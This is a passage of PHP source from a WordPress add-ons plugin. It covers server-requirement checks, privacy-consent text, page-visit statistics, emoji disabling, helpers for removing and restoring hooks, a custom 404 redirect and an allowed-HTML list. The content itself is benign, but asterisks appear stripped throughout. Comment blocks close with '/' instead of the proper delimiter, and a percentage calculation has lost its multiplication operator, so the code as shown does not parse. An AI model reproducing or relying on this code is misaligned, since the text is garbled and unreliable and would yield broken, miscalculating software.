'recommended' => size_format( $php_post_max_size_rec ), 'checked' => $php_post_max_size >= $php_post_max_size_rec, ), 'php_max_upload_size' => array( 'title' => __('PHP Max Upload Size', 'trx_addons'), 'description' => __( 'The largest filesize that can be uploaded to your WordPress installation.', 'trx_addons' ), 'value' => size_format( $php_max_upload_size ), 'recommended' => size_format( $php_max_upload_size_rec ), 'checked' => $php_max_upload_size >= $php_max_upload_size_rec, ), 'php_max_input_vars' => array( 'title' => __('PHP Max Input Vars', 'trx_addons'), 'description' => __( 'The maximum number of variables your server can use for a single function to avoid overloads.', 'trx_addons' ), 'value' => $php_max_input_vars, 'recommended' => $php_max_input_vars_rec . '+', 'checked' => $php_max_input_vars >= $php_max_input_vars_rec, ), 'php_max_execution_time' => array( 'title' => __('PHP Max Execution Time (sec)', 'trx_addons'), 'description' => __( 'The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups).', 'trx_addons' ), 'value' => $php_max_execution_time, 'recommended' => $php_max_execution_time_rec . '+', 'checked' => $php_max_execution_time >= $php_max_execution_time_rec, ), // Info (not checked) params 'wp_memory_limit' => array( 'title' => __('WP Memory limit', 'trx_addons'), 'description' => __( 'The maximum amount of memory (RAM) that your site can use at one time.', 'trx_addons' ), 'value' => defined('WP_MEMORY_LIMIT') ? size_format( trx_addons_size2num( WP_MEMORY_LIMIT ) ) : __('not set', 'trx_addons'), 'recommended' => '', //size_format( 128 * 1024 * 1024 ), ), 'mysql_version' => array( 'title' => __('MySQL version', 'trx_addons'), 'description' => __( 'The version of MySQL installed on your hosting server.', 'trx_addons' ), 'value' => ( ! empty( $wpdb->is_mysql ) ? $wpdb->db_version() : '' ), 'recommended' => '', ), )); } } if ( ! function_exists('trx_addons_get_privacy_text') ) { /** * Return text for Privacy Policy link / function trx_addons_get_privacy_text() { $page = get_option('wp_page_for_privacy_policy'); return apply_filters( 'trx_addons_filter_privacy_text', wp_kses( __( 'I agree that my submitted data is being collected and stored.', 'trx_addons' ) . ( '' != $page // Translators: Add url to the Privacy Policy page ? ' ' . sprintf(__('For further details on handling user data, see our %s', 'trx_addons'), '<a href="' . esc_url( get_permalink( $page ) ) . '"' . trx_addons_external_links_target() . '>' . __('Privacy Policy', 'trx_addons') . '</a>') : '' ), 'trx_addons_kses_content' ) ); } } / Site statistics -------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_statistics_save_visit') ) { add_action( 'wp', 'trx_addons_statistics_save_visit' ); /* * Save visit to the site to the log * * @hooked action wp / function trx_addons_statistics_save_visit() { if ( is_admin() \|\| wp_doing_ajax() \|\| wp_doing_cron() \|\| trx_addons_is_preview() \|\| ! apply_filters( 'trx_addons_filter_save_site_visits', true ) \|\| ( apply_filters( 'trx_addons_filter_save_site_visits_only_for_cache', false ) && ( ! trx_addons_is_on( trx_addons_get_option( 'layouts_cache' ) ) \|\| ! trx_addons_is_on( trx_addons_get_option( 'layouts_cache_popular' ) ) ) ) ) { return; } $url = trx_addons_get_current_url(); if ( ( strpos( $url, '?s=' ) === false && strpos( $url, '&s=' ) === false ) \|\| apply_filters( 'trx_addons_filter_save_visit_from_search', false ) ) { $url_hash = md5( $url ); // Load visits //$visits = get_option( 'trx_addons_site_visits', false ); $visits = trx_addons_cache_get_storage( 'trx_addons_site_visits' ); if ( ! $visits \|\| ! is_array($visits) ) { $visits = array(); } if ( empty( $visits[$url_hash] ) ) { $visits[$url_hash] = array( 'url' => $url, 'count' => 0 ); } $visits[$url_hash]['title'] = trx_addons_get_blog_title(); $visits[$url_hash]['count']++; uasort( $visits, 'trx_addons_statistics_compare' ); // Save visits //update_option( 'trx_addons_site_visits', $visits ); trx_addons_cache_put_storage( 'trx_addons_site_visits', $visits ); } } } if ( ! function_exists( 'trx_addons_statistics_clear_visits' ) ) { add_action( 'trx_addons_action_just_save_options', 'trx_addons_statistics_clear_visits' ); /* * Clear a log with site visits when save plugin and/or theme options if a cache if off or a cache for popular layouts is off * * @hooked trx_addons_action_just_save_options / function trx_addons_statistics_clear_visits() { if ( ! apply_filters( 'trx_addons_filter_save_site_visits', true ) \|\| ( apply_filters( 'trx_addons_filter_save_site_visits_only_for_cache', false ) && ( ! trx_addons_is_on( trx_addons_get_option( 'layouts_cache' ) ) \|\| ! trx_addons_is_on( trx_addons_get_option( 'layouts_cache_popular' ) ) ) ) ) { //update_option( 'trx_addons_site_visits', false ); trx_addons_cache_delete_storage( 'trx_addons_site_visits' ); } } } if ( ! function_exists('trx_addons_statistics_get_info') ) { /* * Return site visits statistic for the specified URL * * @param string $url URL to get Statistic. If empty - return current page statistic. If '' - return all statistic * @return array Statistic / function trx_addons_statistics_get_info( $url='' ) { if ( empty( $url ) ) { $url = trx_addons_get_current_url(); } $url_hash = md5( $url ); $visits = array(); if ( apply_filters( 'trx_addons_filter_save_site_visits', true ) ) { //$visits = get_option( 'trx_addons_site_visits', false ); $visits = trx_addons_cache_get_storage( 'trx_addons_site_visits' ); } if ( $url == '' ) { return $visits; } else { $rez = array( 'count' => 1, 'url' => $url, 'hash' => $url_hash ); if ( ! empty( $visits[ $url_hash ] ) ) { $rez = $visits[ $url_hash ]; $rez['hash'] = $url_hash; $rez['total'] = count( $visits ); $rez['index'] = array_search( $url_hash, array_keys( $visits ) ); } else { $rez['total'] = is_array( $visits ) ? max( 1, count( $visits ) ) : 1; $rez['index'] = $rez['total'] - 1; } return $rez; } } } if ( ! function_exists('trx_addons_statistics_get_top_visited') ) { /** * Return a top N most visited pages * * @return array Top visited pages / function trx_addons_statistics_get_top_visited( $n = 10 ) { $visits = array(); if ( apply_filters( 'trx_addons_filter_save_site_visits', true ) ) { //$visits = get_option( 'trx_addons_site_visits', false ); $visits = trx_addons_cache_get_storage( 'trx_addons_site_visits' ); if ( is_array( $visits ) ) { $summ = 0; foreach( $visits as $v ) { $summ += ! empty( $v['count'] ) ? $v['count'] : 0; } foreach( $visits as $k => $v ) { $visits[$k]['percent'] = round( 100 ( ! empty( $v['count'] ) ? $v['count'] : 0 ) / $summ, 0 ); } } } return is_array( $visits ) ? array_slice( $visits, 0, $n ) : array(); } } if ( ! function_exists('trx_addons_statistics_compare') ) { /** * Compare two statistics entries (reverse order) * * @param array $a First entry * @param array $b Second entry / function trx_addons_statistics_compare( $a, $b ) { return $a['count'] > $b['count'] ? -1 : ( $a['count'] < $b['count'] ? 1 : 0 ); } } if ( ! function_exists( 'trx_addons_statistics_importer_export_options' ) ) { add_filter( 'trx_addons_filter_export_options', 'trx_addons_statistics_importer_export_options' ); /* * Clear a site visits statistic before export * * @hooked filter trx_addons_filter_export_options * * @param array $options Export options * * @return array Modified export options / function trx_addons_statistics_importer_export_options( $options ) { if ( ! empty( $options['trx_addons_site_visits'] ) ) { $options['trx_addons_site_visits'] = ''; } return $options; } } / Disable Emojis -------------------------------------------------------------------------------- / if ( ! function_exists( 'trx_addons_emoji_disable' ) ) { add_action( 'init', 'trx_addons_emoji_disable' ); /* * Disable Emojis * * @hooked action init / function trx_addons_emoji_disable() { if ( (int) trx_addons_get_option( 'disable_emoji' ) > 0 ) { remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'embed_head', 'print_emoji_detection_script' ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); add_filter( 'tiny_mce_plugins', 'trx_addons_emoji_disable_for_tinymce' ); add_filter( 'wp_resource_hints', 'trx_addons_emoji_remove_dns_prefetch', 10, 2 ); if ( (int) get_option( 'use_smilies' ) == 1 ) { update_option( 'use_smilies', '0' ); } } } } if ( ! function_exists( 'trx_addons_emoji_disable_for_tinymce' ) ) { /* * Disable Emojis in TinyMCE * * @param array $plugins List of TinyMCE plugins * * @return array Modified list of TinyMCE plugins (without 'wpemoji') / function trx_addons_emoji_disable_for_tinymce( $plugins = array() ) { return is_array( $plugins ) ? array_diff( $plugins, array( 'wpemoji' ) ) : array(); } } if ( ! function_exists( 'trx_addons_emoji_remove_dns_prefetch' ) ) { /* * Remove emoji CDN hostname from DNS prefetching hints. * * @param array $urls URLs to print for resource hints. * @param string $relation_type The relation type the URLs are printed for. * * @return array Difference betwen the two arrays. / function trx_addons_emoji_remove_dns_prefetch( $urls, $relation_type ) { if ( $relation_type == 'dns-prefetch' ) { $emoji_svg_url = apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/11/svg/' ); $urls = array_diff( $urls, array( $emoji_svg_url ) ); } return $urls; } } / WordPress filters manipulations -------------------------------------------------------------------------------- / if ( ! function_exists( 'trx_addons_remove_filter' ) ) { /* * Remove filter from the specified hook by method name and return old settings * * @param string $filter_name Filter name * @param string $callback_name Callback name * @param string $class_name Class name * * @return array Old (removed) settings / function trx_addons_remove_filter( $filter_name, $callback_name, $class_name = '' ) { global $wp_filter; $rez = false; if ( ! empty( $wp_filter[ $filter_name ] ) && ( is_array( $wp_filter[ $filter_name ] ) \|\| is_object( $wp_filter[ $filter_name ] ) ) ) { foreach ( $wp_filter[ $filter_name ] as $p => $cb ) { foreach ( $cb as $k => $v ) { if ( strpos( $k, $callback_name ) !== false && ( empty( $class_name ) \|\| ! is_array( $v['function'] ) \|\| ! is_object( $v['function'][0] ) // This way needs for the full class name (with namespace) \|\| get_class( $v['function'][0] ) == $class_name // This way compare a class name with a last portion of the full class name //\|\| substr( get_class( $v['function'][0] ), strlen( $class_name ) ) == $class_name ) ) { $rez = array( 'filter' => $filter_name, 'key' => $k, 'callback' => $v, 'priority' => $p ); remove_filter( $filter_name, $v['function'], $p ); } } } } return $rez; } } if ( ! function_exists( 'trx_addons_remove_action' ) ) { /* * Remove action from the specified hook by method name and return old settings * * @param string $filter_name Filter name * @param string $callback_name Callback name * @param string $class_name Class name * * @return array Old (removed) settings / function trx_addons_remove_action( $filter_name, $callback_name, $class_name = '' ) { return trx_addons_remove_filter( $filter_name, $callback_name, $class_name ); } } if ( ! function_exists( 'trx_addons_restore_filter' ) ) { /* * Restore filter to the specified hook by old settings returned by trx_addons_remove_filter * * @param array $filter Old (removed) settings of the filter to restore / function trx_addons_restore_filter( $filter ) { global $wp_filter; if ( ! empty( $filter['filter'] ) ) { $filter_name = $filter['filter']; $filter_key = $filter['key']; $filter_callback = $filter['callback']; $filter_priority = $filter['priority']; if ( ! isset( $wp_filter[ $filter_name ][ $filter_priority ][ $filter_key ] ) ) { add_filter( $filter_name, $filter_callback['function'], $filter_priority, $filter_callback['accepted_args'] ); } } } } if ( ! function_exists( 'trx_addons_restore_action' ) ) { /* * Restore action to the specified hook by old settings returned by trx_addons_remove_action * * @param array $filter Old (removed) settings of the action to restore / function trx_addons_restore_action( $filter ) { return trx_addons_restore_filter( $filter ); } } / WordPress pages manipulations -------------------------------------------------------------------------------- / if ( ! function_exists( 'trx_addons_redirect_404' ) ) { add_action( 'template_redirect', 'trx_addons_redirect_404', 1 ); /* * Redirect to the 404 page * * @hooked template_redirect / function trx_addons_redirect_404() { if ( is_404() ) { $page_id = trx_addons_get_option( 'redirect_404_page', '' ); if ( ! trx_addons_is_off( $page_id ) ) { if ( trx_addons_get_setting( 'redirect_404_way' ) == 'redirect' ) { $redirect = get_permalink( $page_id ); if ( ! empty( $redirect ) ) { wp_redirect( $redirect, 301 ); exit(); } } else { global $wp_query, $post; $post = get_post( $page_id ); if ( is_object( $post ) && ! empty( $post->ID ) && $post->ID == $page_id ) { // Set query vars $wp_query->is_404 = false; $wp_query->is_singular = true; $wp_query->is_page = true; $wp_query->is_single = false; $wp_query->is_category = false; // Set post data $wp_query->queried_object = $post; $wp_query->queried_object_id = $post->ID; $wp_query->query_vars['page_id'] = $post->ID; $wp_query->set( 'page_id', $post->ID ); $wp_query->posts = array( $post ); $wp_query->post = $post; $wp_query->post_count = 1; $wp_query->current_post = -1; status_header( 404 ); // Reload page-specific options trx_addons_call_theme_function( 'override_theme_options' ); } } } } } } / WordPress wp_kses filter -------------------------------------------------------------------------------- / if ( ! function_exists( 'trx_addons_kses_allowed_html' ) ) { add_filter( 'wp_kses_allowed_html', 'trx_addons_kses_allowed_html', 10, 2 ); /* * Return the allowed tags list with allowed attributes for using in the wp_kses() calls * ( if $context is equal to 'trx_addons_kses_inline' ). * * Hooks: * * add_filter( 'wp_kses_allowed_html', 'trx_addons_kses_allowed_html', 10, 2 ); * * @param array $tags A default tags list. * @param string $context A context name. * * @return array The modified tags list. */ function trx_addons_kses_allowed_html( $tags, $context ) { if ( in_array( $context, array( 'trx_addons_kses_inline' ) ) ) { $tags = array( 'span' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'a' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array(), 'href' => array(), 'target' => array() ), 'b' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'strong' => array( 'id' => array(), 'class' => array(), 'title' => array() ), 'i' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'em' => array( 'id' => array(), 'class' => array(), 'title' => array() ), 'img' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array(), 'src' => array(), 'width' => array(), 'height' => array(), 'alt' => array() ), 'br' => array( 'clear' => array() ), 'u' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 's' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'ins' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'del' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array(), 'aria-hidden' => array() ), 'tt' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'bdi' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array(), 'dir' => array() ), 'small' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'big' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'abbr' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), 'acronym'=> array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ), ); } return $tags; } }